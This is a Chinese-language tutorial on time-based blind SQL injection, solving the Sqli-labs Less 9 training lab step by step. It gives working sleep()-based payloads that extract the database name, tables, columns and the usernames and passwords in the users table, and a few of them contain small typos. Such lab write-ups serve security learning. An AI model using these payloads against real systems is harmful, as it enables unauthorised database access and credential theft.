SQL注入学习——时间盲注详解 Sqli-labs(Less 9)
文章目录
前言:
今天来总结下时间盲注的知识。
一、基础知识
1、时间盲注简介:
时间盲注 和 Bool 盲注很像,区别就是 “参照物” 的不同,Bool 盲注是通过页面的一些变化来进行判断结果,但是有时候,执行一些 sql 语句的测试,页面不会有像布尔盲注那样直观的变化,这个时候可以在布尔盲注的基础上结合 if 判断和 sleep() 函数来得到一个时间上的延迟参照,也就可以让我们进行一些判断。也就是所谓的 “时间盲注”,又叫“延时注入”。
2、时间盲注常用的函数:
if(expr1,expr2,expr3):判断语句,如果第一个语句正确就执行第二个语句,如果错误执行第三个语句
sleep(n) 将程序挂起一段时间 n单位为秒
left(a,b) 从左侧截取a的前b位
substr(a,b,c) 从b位置开始,截取字符串a的c长度
mid(a,b,c) 从位置b开始,截取a字符串的c位
length() 返回字符串的长度
Ascii() 将某个字符转换为ascii值
char() 将ASCII码转换为对应的字符
直接来看题吧。
二、Less9 基于时间的单引号盲注
尝试使用单引号、双引号闭合、?id=1 and 1=2
,都发现回显正常,说明这关对所有信息都做了统一输出。这时候就要使出最后的杀手锏了——延时注入,先判断能否延时注入:
127.0.0.1/sqli-labs/less-9/?id=1' and sleep(5)--+
等待了好几秒,说明sleep函数被执行了,即存在延时注入,并且闭合符号为单引号。
还是按照之前的方法继续盲注:
测试的核心语句是:if(查询语句,1,sleep(5))
,即如果我们的查询语句为真,那么直接返回结果;如果我们的查询语句为假,那么过5秒之后返回页面。所以我们就根据返回页面的时间长短来判断我们的查询语句是否执行正确。
1、判断数据库名的长度:
语法:
?id=1' and if(leng(database())=x,sleep(5),1)--+
通过变换 x 的值来确定数据库名的长度,得到数据库名的长度为8。
2、猜测数据库:
语法:
?id=1' and if(ascii(substr(database(),x,1))=y,sleep(5),1)--+
测试第一位:
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+
测得第一位是 s(ascii 码是 115)
?id=1'and if(ascii(substr(database(),2,1))=101,1,sleep(5))--+
得到第二位是 e(ascii 码是 101)… 以此类推,知道了数据库名是 security。接下来猜解数据表。
首先要先判断表的长度
3、判断表名的长度
语法:
?id=1' and if(length(select table_name from information_schema.tables where table_schema = database() limit x,1)<y,sleep(5),1)--+
同理确定所有表名的长度。
4、猜测 security 的数据表:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101,1,sleep(5))--+
猜得第一个数据表的第一位是 e,…依次类推,得到 emails
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=114,1,sleep(5))--+
得到第二个数据表的第一位是 r,…依次类推,得到 referers … 再以此类推,我们可以得到所有的数据表 emails,referers,uagents,users。
接下来判断字段名与数据内容,还是和上面一样的套路,判断长度,判断名字,后面就不再赘述了。
5、猜测 users 表的列:
127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select column_name from information _schema.columns where table_name='users' limit 0,1),1,1))=105,1,sleep(5))--+
猜得 users 表的第一个列的第一个字符是 i, 以此类推,得到列名是 id,username,password
6、猜测 username 的值:
127.0.0.1/sqli-labs/Less-9/?id=1' and if(ascii(substr((select username from users limit 0,1), 1,1))=68,1,sleep(5))--+
猜得 username 的第一行的第一位,以此类推,得到 username,password 字段的所有内容。
以上就是利用 sleep() 函数注入的整个过程。手工注入过程很是繁琐,可以用二分法提高效率,但大部分情况下都会选择写脚本注入。